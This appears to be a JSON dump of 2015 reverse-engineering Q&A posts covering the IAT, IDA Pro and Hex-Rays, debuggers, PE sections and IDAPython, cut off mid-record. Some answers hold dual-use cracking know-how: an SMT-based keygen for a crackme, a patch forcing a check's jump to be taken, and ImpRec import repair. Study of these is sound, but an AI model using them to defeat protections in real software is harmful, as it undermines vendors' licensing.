        "Answer": "<blockquote>\n  <p>I didn't completely understood what is IAT, any help will be great :-)</p>\n</blockquote>\n\n<p>The IAT is the Import Address Table. It's an an array of pointers to statically-imported API function addresses. The IAT entries gets populated at runtime.</p>\n\n<p>The format of the IAT is typically as follows, with all functions from a particular DLL grouped together, with a null-pointer separating each DLL's list of function addresses:</p>\n\n<p><code>&lt;pointer to DLL #1's function A&gt;, &lt;pointer to DLL #1's function B&gt;, &lt;pointer to DLL #1's function C&gt;, 0x00000000, &lt;pointer to DLL #2's function D&gt;, &lt;pointer to DLL #2's function E&gt;, ..., 0x00000000</code></p>\n\n<p>Note that this format isn't required, but it's the most common format.</p>\n\n<blockquote>\n  <p>Now I don't udnerstand how he know where the end of the IAT just from looking on the dump?</p>\n</blockquote>\n\n<p>I highlighted each IAT function below (with mspaint), with a different color for each DLL grouping. At virtual address <code>0x0049380C</code> we see the function addresses <code>0x735FE9D0</code>, <code>0x73654AC0</code>, etc. You can tell that they're likely from the same DLL because:</p>\n\n<ol>\n<li>There's no null-pointer separating them, and</li>\n<li>They're all in the same address range (<code>0x735F0000</code> - <code>0x7366FFFF</code>)</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/s75RT.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/s75RT.png\" alt=\"IAT\"></a></p>\n\n<p>The DWORD at <code>0x00493850</code> (after the null-pointer at <code>0x0049384C</code>) is <code>0x1000176E</code>, so you can look up that address in your debugger and see if there's DLL code loaded at that address. If not, <code>0x0049384C</code> would mark the end of the IAT. If so, <code>0x00493854</code> would mark the end of the IAT since the data at <code>0x00493858</code> is the beginning of an ASCII string and clearly not a valid function pointer.</p>\n"
    },
    {
        "Id": "11275",
        "CreationDate": "2015-11-08T23:32:21.280",
        "Body": "<p>In IDA 6.6, is it possible to condense, or otherwise re-arrange, lines of pseudocode given by the Hex-Rays decompiler? For example</p>\n\n<pre><code>if ( !iFile2Size\n  || *pFile2BufferCopy == *pFile3BufferCopy\n  &amp;&amp; (iFile2Size &lt;= 1\n   || pFile2BufferCopy[1] == pFile3BufferCopy[1]\n   &amp;&amp; (iFile2Size &lt;= 2 || pFile2BufferCopy[2] == pFile3BufferCopy[2])) )\n  blah;\n</code></pre>\n\n<p>is a bit eye bleedy. I can't for the life of me figure out how to re-arrange it though.</p>\n",
        "Title": "Condense pseudocode lines in IDA Pro",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>The only reliable way I know about requires writing HexRays plugin.\n<a href=\"https://www.hex-rays.com/products/decompiler/manual/sdk/hexrays_sample3_8cpp-example.shtml\" rel=\"nofollow\">Here</a> and <a href=\"https://www.hex-rays.com/products/decompiler/manual/sdk/hexrays_sample6_8cpp-example.shtml\" rel=\"nofollow\">here</a> you have an examples of such plugins that manipulates output of the decompiler - not exactly in a way you need, but probably it will give you some direction. Examples of such a plugins in IdaPython (probably not working and outdated) may be found in its old Google Code repository (see v*.py <a href=\"https://code.google.com/p/idapython/source/browse/trunk/examples/\" rel=\"nofollow\">here</a> )</p>\n\n<p>In addition you can manipulate decompiler configuration.\nAs it wrote <a href=\"https://www.hex-rays.com/products/decompiler/manual/config.shtml\" rel=\"nofollow\">here</a> you can reduce or increase <code>RIGHT_MARGIN</code> parameter, and this will probably give you an ability to manipulate single line size of decompiler output (which will change representation of your condition among others). The same setting can be accessed via edit/plugins/something related to hexrays/ (sorry, I don't have HexRay installed right now) menu.</p>\n"
    },
    {
        "Id": "11276",
        "CreationDate": "2015-11-09T00:28:49.520",
        "Body": "<p>In Core Debugger Concepts What is the difference between Intrusive Attaching  and Non-Intrusive Attaching when debugging?</p>\n",
        "Title": "What is the difference between Intrusive Attaching and Non-Intrusive Attaching when debugging?",
        "Tags": "|debugging|debuggers|dynamic-analysis|",
        "Answer": "<p>non invasive debugging has access to the process memory and can inspect state\nnon invasive debuggine cannot perform execution controlling options like step , breakpoints etc.\nnon invasive  code flow is something like this </p>\n\n<pre><code>OpenProcess() , SuspendThread() , ReadProcessMemory() , ResumeThread() , CloseHandle()\n</code></pre>\n\n<p>Invasive debugging receives all the debugging events in the debuggee    </p>\n\n<pre><code>CreateProcess (.,.,.,DEBUG_XXXXX,...,); so this can wait for all the DebugEvents \n</code></pre>\n"
    },
    {
        "Id": "11279",
        "CreationDate": "2015-11-09T01:38:09.213",
        "Body": "<p>Where would I look if I wanted to know which third party libraries an application (win32) has used? </p>\n\n<p>I found this info yesterday (with Ollydbg, I think) but for the love of me just can't figure out anymore how I did it. All I remember is that the format was easily readable, not hex.</p>\n",
        "Title": "Find out which libraries were (statically) linked",
        "Tags": "|disassembly|",
        "Answer": "<p>i believe this cant be done easily without debug information \\ symbols. </p>\n\n<p>Statically linked libraries means that part of the code of the program contains the functions of the third party libraries.</p>\n\n<p>Lets take for example an open ssl library.</p>\n\n<p>Once you compile your code with the openssl code attached (as part of your code solution), in the assembly you cant really know which part of the code is part of the library and which one is the code of your main program.</p>\n\n<p>If you want a way to figure out if a library is linked into your program, you might want to try to look for debug strings that were left behind during compilation that would help out.</p>\n\n<p>Also for future reference and finding dynamically linked libraries, i would suggest CFF-explorer</p>\n"
    },
    {
        "Id": "11280",
        "CreationDate": "2015-11-09T01:43:28.523",
        "Body": "<p>I have always been curious when I should use OllyDbg over Immunity Debugger.</p>\n\n<p>Immunity Debugger has inherited code from OllyDbg and can perform scripted debugging with Python.</p>\n\n<p>Interestingly enough, most of the times I do a Google search for a reverse engineering task with Immunity Debugger, I end up with search results related to exploit development. When I search for the same task with OllyDbg, I regularly find information more relevant to the reverse engineering task I am trying to accomplish.</p>\n\n<p>If Immunity Debugger supports scripted debugging in Python (which simplifies the scripting process as opposed to making a plugin for OllyDbg), then why would I want to use OllyDbg over Immunity Debugger?</p>\n",
        "Title": "When to use OllyDgb over Immunity Debugger",
        "Tags": "|ollydbg|debugging|tools|immunity-debugger|",
        "Answer": "<p>Immunity Debugger is forked from OllyDbg v1.10.</p>\n\n<p>So you should use the latest version of OllyDbg (<a href=\"http://www.ollydbg.de/version2.html\" rel=\"noreferrer\">currently v2.01</a>) instead of Immunity Debugger if you want any OllyDbg v2-specific features/fixes. If you don't need those OllyDbg v2-specific features/fixes though, then there's no benefit to using OllyDbg v1.10 over Immunity Debugger.</p>\n"
    },
    {
        "Id": "11286",
        "CreationDate": "2015-11-09T13:25:26.913",
        "Body": "<p>Assuming the following lines of code:</p>\n\n<pre><code> MOV DWORD PTR FS:[0],EAX\n CALL someRoutine\n MOV EAX,DWORD PTR DS:[EAX+4]\n CMP DWORD PTR DS:[EAX+1204],0\n JE placeInCode\n XOR EAX,EAX\n</code></pre>\n\n<p>My goal is to change [someRoutine] in such a way that the JE is always taken - I specifically don't want to tamper with the code outside [someRoutine]. So just think of [someRoutine] as a set of instructions that you can freely change and adapt. </p>\n\n<p>I can't seem to understand how to solve this equation. If there was no MOV instruction after the call, I guess I could just go to the address [EAX+1204] and fill it with 0. But like this, there seem to be too many unknown dependencies. </p>\n\n<p>Any advice?</p>\n",
        "Title": "Is this code equation solvable?",
        "Tags": "|disassembly|",
        "Answer": "<p>Have <code>someRoutine</code> perform the following actions (in C below for example purposes) --</p>\n\n<pre><code>DWORD* p = (DWORD*)malloc(8);\np[0] = 0;\np[1] = (SIZE_T)p - 1204;\nreturn p;\n</code></pre>\n\n<p>Obviously this is a memory-leak since the allocated memory never gets <code>free()</code>'d, so you wouldn't want to use this approach if <code>someRoutine</code> gets called often. However it's not feasible to offer a better recommendation without us knowing the memory layout of the actual program.</p>\n\n<p><strong><em>Edit:</strong> Updated based on @tathanhdinh's suggestion.</em></p>\n"
    },
    {
        "Id": "11303",
        "CreationDate": "2015-11-10T22:07:26.293",
        "Body": "<p>I have reversed the code of this simple crackme(more like reverseme :)) but I don't understand how to create valid password for the algorithm.\nHere's the reversed code:</p>\n\n<pre><code>#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nint main(int argc, char* argv[]) {\n    if(argc&lt;2)\n        return -1;\n\n    char *original = argv[1]; \n    char *password = strdup(original);\n    int success = 0xFD0970E7;\n    int i, j;\n    for (i = random() &amp; 0xFF; i &gt; 0; i--) {\n        for (j = 0; j &lt; (int)strlen(original); j++) {\n            password[j] = password[j] ^ random();\n        }\n    }\n\n    i = 0x1337;\n    for (j = strlen(original)-1; j &gt;= 0; j--) {\n        i = i * password[j] + 0x31337;\n    }\n\n    if (i == success) {\n        printf(\"SUCCESS\\n\");\n        return 0;\n    }\n\n    printf(\"WRONG\\n\");\n    return -1;\n}\n</code></pre>\n\n<p>I understand that since random() isn't seeded I can control the input that gets to the later stages of the program, but I don't get how can I use it to solve it :(</p>\n",
        "Title": "How to break this reversing exercise",
        "Tags": "|crackme|",
        "Answer": "<p>We can define recursive functions in SMT language (e.g. with <code>define-fun-rec</code>), but some popular solvers (e.g. <code>z3</code>) currently cannot handle them yet (I do not know any can support); so it is not direct to encode loops in such a solver. </p>\n\n<p>But we can use a trick, that is to just unroll the loop (then it is still obliged to test several lengths of the password) by generating automatically SMT formulae. For example, the following program generate a SMT formula for each length of password:</p>\n\n<pre><code>#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n\n#define PRE_VAL_NUM 0xfff\nint ran_vals[PRE_VAL_NUM];\n\nvoid gen_pre_vals()\n{\n  for (unsigned int i = 0; i &lt; PRE_VAL_NUM; ++i) {\n    ran_vals[i] = random();\n  }\n  return;\n}\n\nint main(int argc, char* argv[])\n{\n  if (argc != 2) {\n    printf(\"please run as keygen length_of_password\\n\");\n    return 0;\n  }\n\n  gen_pre_vals();\n\n  FILE* smt_file = fopen(\"reverseme.smt2\", \"w+\");\n\n  fprintf(smt_file, \"(set-logic QF_BV)\\n\");\n  fprintf(smt_file, \"(set-info :smt-lib-version 2.0)\\n\");\n\n  int passwd_len = strtol(argv[1], NULL, 0);\n\n  fprintf(smt_file, \"\\n\");\n  for (int i = 0; i &lt; passwd_len; ++i) {\n    fprintf(smt_file, \"(declare-fun pw%d () (_ BitVec 8))\\n\", i);\n  }\n  fprintf(smt_file, \"\\n\");\n  fprintf(smt_file, \"(define-fun prev_i ((i (_ BitVec 32)) (pw_i (_ BitVec 8))) (_ BitVec 32)\\n\");\n  fprintf(smt_file, \"(let ((pw_i_ext ((_ sign_extend 24) pw_i)))\\n\");\n  fprintf(smt_file, \"(bvadd (bvmul i pw_i_ext) #x00031337)))\\n\");\n\n  fprintf(smt_file, \"\\n\");\n  for (int i = 0; i &lt; passwd_len; ++i) {\n    fprintf(smt_file, \"(assert (and (bvuge pw%d #x21) (bvule pw%d #x7e)))\\n\", i, i);\n  }\n\n  fprintf(smt_file, \"\\n\");\n  fprintf(smt_file, \"(assert\\n\");\n  fprintf(smt_file, \"(let (\\n\");\n  unsigned int acc_ran;\n  for (int i = 0; i &lt; passwd_len; ++i) {\n    acc_ran = 0x00;\n\n    for (int j = ran_vals[0] &amp; 0xff; j &gt; 0; j--) {\n      acc_ran ^= ran_vals[1 + i + (j - 1) * passwd_len];\n    }\n\n    fprintf(smt_file, \"(pwn%d (bvxor pw%d #x%x))\\n\", i, i, (acc_ran &amp; 0xff));\n  }\n  fprintf(smt_file, \")\\n\");\n  fprintf(smt_file, \"(let ((i%d (prev_i #x1337 pwn%d)))\\n\", passwd_len - 2, passwd_len - 1);\n  for (int i = passwd_len - 2; i &gt;= 1; --i) {\n    fprintf(smt_file, \"(let ((i%d (prev_i i%d pwn%d)))\\n\", i - 1, i, i);\n  }\n  fprintf(smt_file, \"(let ((i (prev_i i0 pwn0)))\\n\");\n  fprintf(smt_file, \"(= i #xfd0970e7))\\n\");\n  for (int i = 0; i &lt; passwd_len; ++i) fprintf(smt_file, \")\");\n  fprintf(smt_file, \")\\n\");\n\n  fprintf(smt_file, \"\\n\");\n  fprintf(smt_file, \"(check-sat)\\n\");\n  fprintf(smt_file, \"(get-value (\\n\");\n  for (int i = 0; i &lt; passwd_len; ++i) fprintf(smt_file, \"pw%d\\n\", i);\n  fprintf(smt_file, \"))\\n\");\n\n  fclose(smt_file);\n\n  printf(\"output smt file: reverseme.smt2\\n\");\n\n  return 1;\n}\n</code></pre>\n\n<p>It generates a SMT file, named <code>reverseme.smt2</code> for each length of password (e.g. the generated SMT file for the length <code>6</code> is <a href=\"http://rise4fun.com/Z3/Dcnb\" rel=\"nofollow\">here</a>), then we can type: <code>z3 reverseme.smt2</code> to get a valid password. </p>\n\n<p>I have tested for lengths of <code>2, 3, 4, 5</code> (the length <code>1</code> is obviously impossible). On my machine, <code>z3</code> takes about 1-5 seconds for each test, and gives <code>UNSAT</code> for each of them; the first <code>SAT</code> result \"6`SHQe\" (ASCII codes: <code>0x36, 0x60, 0x53, 0x48, 0x51, 0x65</code> is found for length of <code>6</code>. I do not check whether there exists some valid passwords for lengths larger than <code>6</code> though.</p>\n"
    },
    {
        "Id": "11305",
        "CreationDate": "2015-11-11T02:44:46.840",
        "Body": "<p>I have a function prototype generated by IDA that looks like this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Qav80.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Qav80.png\" alt=\"enter image description here\"></a></p>\n\n<p>However, it looks like there is a struct being referenced at the instruction <strong>lea edi, [esp+290h+var_240]</strong>. I would like IDA to reference this passed address as an argument in its function prototype.</p>\n\n<p>I have tried the approach below, but it is clear that it does not work.</p>\n\n<p><a href=\"https://i.stack.imgur.com/lHm32.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lHm32.png\" alt=\"enter image description here\"></a></p>\n\n<p>What I would like to see is something like this</p>\n\n<p><a href=\"https://i.stack.imgur.com/yGgF1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yGgF1.png\" alt=\"enter image description here\"></a></p>\n\n<p>Any help or suggestions would be greatly appreciated!</p>\n",
        "Title": "How to create function prototype that recognizes arguments passed by reference in IDA Pro",
        "Tags": "|ida|x86|calling-conventions|",
        "Answer": "<p>My guess is that the function signature should be something like:</p>\n\n<pre><code>int __usercall Call_HTTP@&lt;eax&gt;(int x, int y, void* http_object@&lt;edi&gt;);\n</code></pre>\n\n<ul>\n<li><code>__usercall</code> means the calling convention for the function is not a standard one (like stdcall, cdecl, etc.) as the function passes two arguments on stack and one in edi.</li>\n<li><code>@&lt;eax&gt;</code> : function returns a value in eax register.</li>\n<li><code>int x</code> and <code>int y</code> are passed on the stack.</li>\n<li><code>void* http_object@&lt;edi&gt;</code> : http_object is a void* passed through the edi register.</li>\n</ul>\n\n<p>You can change the type of the <code>http_object</code> by adding a proper structure for this object to the known IDA structures and pass the real type instead of <code>void*</code>.</p>\n\n<p>For more information on function signature, see the IDA help on <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1361.shtml\" rel=\"nofollow\">Set function/item type</a>.</p>\n\n<p><strong>Edit</strong></p>\n\n<p>The right signature should be:</p>\n\n<pre><code>int __userpurge Call_HTTP@&lt;eax&gt;(int x, int y, void* http_object@&lt;edi&gt;);\n</code></pre>\n\n<p>As stated by @itsbriany:</p>\n\n<ul>\n<li>for <code>__stdcall</code> and <code>__userpurge</code> calling conventions, the callee cleans up the stack.</li>\n<li>in <code>__cdecl</code> and <code>__usercall</code> conventions, the caller cleans up the stack.</li>\n</ul>\n"
    },
    {
        "Id": "11309",
        "CreationDate": "2015-11-11T12:01:04.430",
        "Body": "<p>I have a problem that NtdllDefWindowProc_A function from ntdll is\ninside user32 thunk.</p>\n\n<p><a href=\"https://i.stack.imgur.com/tEOQI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tEOQI.png\" alt=\"enter image description here\"></a></p>\n\n<p>Following @Jason Geffner answer in <a href=\"https://reverseengineering.stackexchange.com/questions/6134/imprec-invalid-thunks-seem-valid\">ImpRec invalid thunks seem valid</a> I tried to change it to NtdllDefWindowProc_A from user32, but when I rebuild it after the fix with PE tool the file didn't work at all.</p>\n\n<p>Then I tried again and cut NtdllDefWindowProc_A function from the chunk,\nand the rebuild work and the file run without a problem.</p>\n\n<p>its probably not a good idea to cut NtdllDefWindowProc_A from the file....So what did I did wrong?</p>\n\n<p>Thanks you all for the help :-)</p>\n",
        "Title": "ImpRec invalid NtdllDefWindowProc_A seem valid",
        "Tags": "|debugging|iat|protection|",
        "Answer": "<p>In your example, the static import <code>user32!DefWindowProcA</code> is getting forwarded to <code>ntdll!NtdllDefWindowProc_A</code>.</p>\n\n<p>You need to double-click on the <code>ntdll!NtdllDefWindowProc_A</code> entry in Import REConstructor and change it to <code>user32!DefWindowProcA</code>.</p>\n"
    },
    {
        "Id": "11311",
        "CreationDate": "2015-11-11T16:00:12.467",
        "Body": "<p>Generally, what is the criterion by which to decide whether a PE section contains code or not?</p>\n\n<p>Specifically, is a <code>.text</code> or <code>.code</code> section <strong>always</strong> considered to contain code? And what is the relationship between the <code>IMAGE_SCN_CNT_CODE</code> flag (0x00000020) and <code>IMAGE_SCN_MEM_EXECUTE</code> flag (0x20000000) - can we consider a section with at least one of those two as definitely containing code?</p>\n\n<p>Is there a hard static rule to recognize code sections?</p>\n",
        "Title": "How to recognize PE sections containing code?",
        "Tags": "|windows|pe|section|",
        "Answer": "<blockquote>\n  <p>Specifically, is a <code>.text</code> or <code>.code</code> section <strong>always</strong> considered to contain code?</p>\n</blockquote>\n\n<p>No.</p>\n\n<blockquote>\n  <p>And what is the relationship between the <code>IMAGE_SCN_CNT_CODE</code> flag (0x00000020) and <code>IMAGE_SCN_MEM_EXECUTE</code> flag (0x20000000)</p>\n</blockquote>\n\n<p>The former is ignored by the Windows PE loader. The latter is used by the Windows PE loader such that if the flag is set then the pages for that section are marked as executable in memory (via <a href=\"https://en.wikipedia.org/wiki/NX_bit\">https://en.wikipedia.org/wiki/NX_bit</a>).</p>\n\n<blockquote>\n  <p>can we consider a section with at least one of those two as definitely containing code?</p>\n</blockquote>\n\n<p>Not <strong>always</strong>, no.</p>\n\n<blockquote>\n  <p>Generally, what is the criterion by which to decide whether a PE section contains code or not?</p>\n</blockquote>\n\n<p>While the <code>.text</code>/<code>.code</code> sections will <em>usually</em> contain code, and a section with the <code>IMAGE_SCN_MEM_EXECUTE</code> flag will <em>usually</em> contain code, the only real way to say that a section definitely contains code is if the CPU actually executes code in that section at runtime.</p>\n"
    },
    {
        "Id": "11317",
        "CreationDate": "2015-11-12T08:34:53.260",
        "Body": "<p>I am trying to write a plugin which, beside other things, would need to write assembly of some code segments into a file. Since the documentation is somewhat lacking I'm lost on some things and not sure how to use functions for disassembly. I'm reading commands with Readcommand function and then using Disasm function to get the assembly code but all I am getting is some gibberish. Also, in a help file it says that Readcommand function should return the actual size of instruction read, but it always returns maximum size. Any help on what I'm doing wrong or how to proceed to get the assembly code would be appreciated. Code with which I'm trying to get disassembly is located below.</p>\n\n<blockquote>\n  <p>code_length = Readcommand(reg->ip, cmd);<br>\n  instruction_length =\n  Disasm(cmd, code_length, reg->ip, dest, disasm, DISASM_ALL,thread_id);</p>\n</blockquote>\n",
        "Title": "Ollydbg v 1.10 plugin writing",
        "Tags": "|ollydbg|plugin|",
        "Answer": "<p>ReadCommand() Returns bytes from internally cached buffer and returns atmost MAXCMDSIZE Bytes</p>\n\n<p>the below snippet will take an address (HEX ONLY) \nread the command print the bytes and disassembly pertaining that address to log window \ntake a look</p>\n\n<pre><code>void disasm( void) {\n  ULONG data = 0;\n  if((Getlong(\"enter address to disassemble\",&amp;data,4,0,DIA_HEXONLY)) != -1) {\n    Addtolist(data,1,\"eip provided is %x\\n\",data);\n    char buff[MAXCMDSIZE+10] = {0};\n    ULONG srcsize = 0;\n    t_disasm mydisasm = {0};\n  if((srcsize = Readcommand(data,buff)) !=0) {\n    char pbuff[50] = {0};\n    for (ulong i = 0;i&lt;srcsize; i++){\n      sprintf_s((char *)(pbuff+(i*2)),50,\"%02x\",*(char *)(buff+i));     \n    }\n    Addtolist(data,1,\"command read %s size %x\\n\",pbuff,srcsize);\n    Disasm((uchar *)buff,srcsize,data,NULL,&amp;mydisasm,DISASM_ALL,NULL);\n    Addtolist(data,1,\"%s\\n\",mydisasm.result);\n    }    \n  }  \n}\n</code></pre>\n"
    },
    {
        "Id": "11326",
        "CreationDate": "2015-11-14T19:06:18.297",
        "Body": "<p>How can I convert the following IDA Pro generated disassembly (assembly language) into a higher level language?</p>\n\n<pre><code>...\nmov edx, Var1\nmov ecx, Var2\nmov eax, edx\nimul ecx\nmov edx, eax\nimul edx, eax\nmov Var3, ecx\n...\n</code></pre>\n\n<p>I am trying to write a detailed pseudo code describing the function of the provided assembly snippet.</p>\n",
        "Title": "How to decompile this assembly code?",
        "Tags": "|ida|assembly|decompilation|",
        "Answer": "<p>Please note that there is no general 1:1 relation between assembly code and a higher level language, especially if the assembly was crafted manually. And even for compiled code there may be no good translation if the code was heavily optimized.</p>\n\n<p>Also, note that reverse engineering is not about translating assembly to higher level language, it's about figuring out what's going on. For example, a year ago, someone asked this series of questions [<a href=\"https://reverseengineering.stackexchange.com/questions/6858/create-key-generator-algorithm-from-validation-algo\">1</a>] [<a href=\"https://reverseengineering.stackexchange.com/questions/6945/identify-a-decryption-scheme\">2</a>] [<a href=\"https://reverseengineering.stackexchange.com/questions/8311/reverse-decryption-algorithm\">3</a>]. That guy meticuously translated a lot of assembly to C and wasn't any wiser; in the end, he could have saved himself 2 months if he had been able to recognize the RSA algorithm from the code.</p>\n\n<p>Of course, a high level language implementation of something might be easier to read than assembly, so translating to high level might be <em>a part</em> of the work, but it's not the biggest part in most cases.</p>\n\n<p>That said, as you have only 2 opcodes, one of which is <code>mov</code> which is the equivalent to an assignment:</p>\n\n<pre><code>mov edx, Var1           ; edx=Var1\nmov ecx, Var2           ; ecx=Var2\nmov eax, edx            ; eax=edx (=Var1)\nimul ecx                ; eax=eax*ecx (=Var1*Var2)\nmov edx, eax            ; edx=eax (=Var1*Var2)\nimul edx, eax           ; edx=edx*eax (=(Var1*Var2)^2)\nmov Var3, ecx           ; var3=ecx (=Var2)\n</code></pre>\n\n<p>So, your code calculates (Var1*Var2)^2, but then assigns Var2 to Var3, not the calculated result. </p>\n\n<p>If this was a homework question, i'd assume your teacher wanted to see if you're paying attention to detail. Also, it shows that there's no good translation to a high level language, because you don't generally calculate anything in them without using the result. Although, in C, you could have written</p>\n\n<pre><code>(Var1*Var2)*(Var1*Var2);    // note the expression without an assignment\nVar3=Var2;\n</code></pre>\n\n<p>but your compiler would normally throw away the first line of this.</p>\n"
    },
    {
        "Id": "11332",
        "CreationDate": "2015-11-16T00:50:16.963",
        "Body": "<p>I'm trying to figure out a way to automatically decrypt certain strings in a binary called by a function several times.</p>\n\n<p>The function takes three arguments and is a simple xor decryption. However it uses a different key for each unique string it wants to decrypt.</p>\n\n<pre><code>char* decrypt(char* string_to_decrypt, uint string_len, char xor_byte)\n</code></pre>\n\n<p>What I'm attempting to do is get a list of the xrefsTo this function (This is as far as I got) and read in the current string it wants to decrypt in the binary, and grab the xor key and length, then patch the binary to display the plaintext strings.</p>\n\n<p>The function is called like this</p>\n\n<pre><code>.text:0040168A push    83h\n.text:0040168F push    9\n.text:00401691 mov     eax, esi\n.text:00401693 mov     edx, offset unk_406D58\n.text:00401698 call    decrypt_string\n</code></pre>\n\n<p>Where EDX, always holds the address of the encrypted string, and the two pushes are the key and length (9 length, 0x83 key)</p>\n\n<p>The mov eax, esi isn't always present. Is there a way to read the disassembly and get this function and then just dynamically decrypt all the strings in the database? </p>\n\n<p>For completeness this is where I started.</p>\n\n<pre><code>import idaapi\nimport idc\n\nea = here()\nprint hex(ea)\n\nxrefs = CodeRefsTo(ea,0)\n    for xref in xrefs:\n    print \"Ref Addr: {}\".format(hex(xref))\n\n# for all xrefs, get string offset, length and key,\n# decrypt that string, and patch or rename it to display decrypted string)\n</code></pre>\n\n<p>Thank you.</p>\n\n<p>EDIT:\nw-s response got me in the right direction. Here is what I came up with. It's rough, I know :)</p>\n\n<pre><code>import idaapi\nimport idc\nimport idautils\n\nea = here()\nxrefs = CodeRefsTo(ea,0)\n\ndata = []\ndecrypted = []\n\nfor xref in xrefs:\n    current_x = xref\n    d = {}\n    d['addr'] = hex(current_x)\n    n_pushes = 0\n    n_movedx = 0\n\n    for i in xrange(6):\n        if n_pushes == 2 and n_movedx == 1:\n            break\n\n        current_x = idc.PrevHead(current_x)\n        instr = idautils.DecodeInstruction(current_x)\n        if instr.itype == idaapi.NN_push:\n\n            if n_pushes &lt; 1:\n                d['len'] = int(GetOperandValue(current_x, 0))\n\n            if n_pushes == 1:\n                d['key'] = int( hex(GetOperandValue(current_x, 0)), 16)\n\n            n_pushes += 1\n\n        if instr.itype == idaapi.NN_mov:\n            if GetOpnd(current_x, 0) == 'edx':\n                d['string_offset'] = GetOperandValue(current_x, 1)\n\n    data.append(d)\n......\n</code></pre>\n",
        "Title": "Automating a Decryption function call in IDA Python",
        "Tags": "|ida|idapython|",
        "Answer": "<p>You can use Sark to do most of the work. It should be something similar to this:</p>\n\n<pre><code>import sark\n\ndef get_edx_values_at_calls_to(function):\n    for xref in function.xrefs_to:\n        if not xref.type.is_call:\n            continue\n\n        # start at the function call (`xref.frm`) and go back to the beginning of\n        # the basic-block (`sark.CodeBlock(xref.frm).startEA`).\n        for line in sark.lines(start=sark.CodeBlock(xref.frm).startEA,\n                               end=xref.frm, \n                               reverse=True):\n            if line.insn.mnem == 'mov' and line.insn.operands[0].reg == 'edx':\n                yield line.insn.operands[1].value\n\ndecrypt_function = sark.Function()\nfor value in get_edx_values_at_calls_to(decrypt_function):\n    pass  # decryption code\n</code></pre>\n"
    },
    {
        "Id": "11338",
        "CreationDate": "2015-11-17T08:13:43.390",
        "Body": "<p>Good day.</p>\n\n<p>I build this simple code on Intel cpu working on Windows 7 with MS VS Express 2013:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\nint f(int a, int b, int c);\n\nint f(int a, int b, int c){\n    int d = a*b + c;\n    return d;\n};\n\nint main()\n{\n    printf(\"%d\\n\", f(1, 2, 3));\n    return 0;\n};\n</code></pre>\n\n<p>When I disassemble binary I see just main() function that push 5 (the result of f()) and call printf():</p>\n\n<pre><code>; int __cdecl main(int argc, const char **argv, const char **envp)\n_main proc near\npush    5\npush    offset Format   ; \"%d\\n\"\ncall    ds:__imp__printf\nadd     esp, 8\nxor     eax, eax\nretn\n_main endp\n</code></pre>\n\n<p>I'm expect to see something like:</p>\n\n<pre><code> push 3\n push 2\n push 1\n call _f\n</code></pre>\n\n<p>or doing similar things with registers (for x64). But can't find f() definition. Is there any conventions or compiler optimizations that allow passing result without routine call? Or it is a debuggers (IDA, OllyDBG) calculating? It looks like the result of f() was calculated when project was built.</p>\n",
        "Title": "Callee's return precalculations",
        "Tags": "|binary-analysis|",
        "Answer": "<p>Many compilers have magic incantations for explicitly suppressing the inlining of certain functions, like <code>__declspec(noinline)</code>. An alternative is introducing something that the optimizer is not allowed to 'see through', like a (volatile) function pointer or an external DLL function. A vararg function can sometimes be used with similar effect (i.e. pretend to use the result of some computation in order to force the compiler to actually perform it).</p>\n<p>The convention underlying all this is the 'as if' rule in the C/C++ standards. The compiler must ensure that the observable behaviour of the resulting binary follows the defined semantics; how these results are arrived at is completely up to the compiler.</p>\n<p>In connection with a good optimising compiler this makes the source code of a program a logical specification (or contract) of what the programmer expects to happen, and the physical realisation is fully up to the compiler. This is a good thing, and long overdue.</p>\n<p>Contrast this to glorified macro assemblers like Turbo Pascal and older Delphis, where you know exactly which machine code fragment/template will get emitted for which source code construct (barring a small handful of tricks from the Dragon Book, like dead store elimination).</p>\n<p>Here are a few relevant verses from Scripture (ISO/IEC 14882:2003 alias C++03):</p>\n<blockquote>\n<p>The semantic descriptions in this International Standard define a parameterized nondeterministic abstract machine. This International Standard places no requirement on the structure of conforming implementations. In particular, they need not copy or emulate the structure of the abstract machine. Rather, conforming implementations are required to emulate (only) the <strong>observable behavior</strong> of the abstract machine as explained below.</p>\n<p>A conforming implementation executing a well-formed program shall produce the same observable behavior as one of the possible execution sequences of the corresponding instance of the abstract machine with the same program and the same input. However, if any such execution sequence contains an undefined\noperation, this International Standard places no requirement on the implementation executing that program with that input (not even with regard to operations preceding the first undefined operation).</p>\n</blockquote>\n<p>(IOW, if you invoke undefined behaviour then all bets are off and the compiler may do whatever it pleases - including, but not limited to, crashing your computer or selling your wife on Ebay. Modern compilers tend to rely <strong>heavily</strong> on this clause.)</p>\n<blockquote>\n<p>The observable behavior of the abstract machine is its sequence of reads and writes to volatile data and calls to library I/O functions.</p>\n<p>The least requirements on a conforming implementation are:</p>\n<p>\u2014 At sequence points, volatile objects are stable in the sense that previous evaluations are complete and subsequent evaluations have not yet occurred.</p>\n<p>\u2014 At program termination, all data written into files shall be identical to one of the possible results that execution of the program according to the abstract semantics would have produced.</p>\n<p>\u2014 The input and output dynamics of interactive devices shall take place in such a fashion that prompting messages actually appear prior to a program waiting for input. What constitutes an interactive device is\nimplementation-defined.</p>\n</blockquote>\n"
    },
    {
        "Id": "11339",
        "CreationDate": "2015-11-17T08:47:29.120",
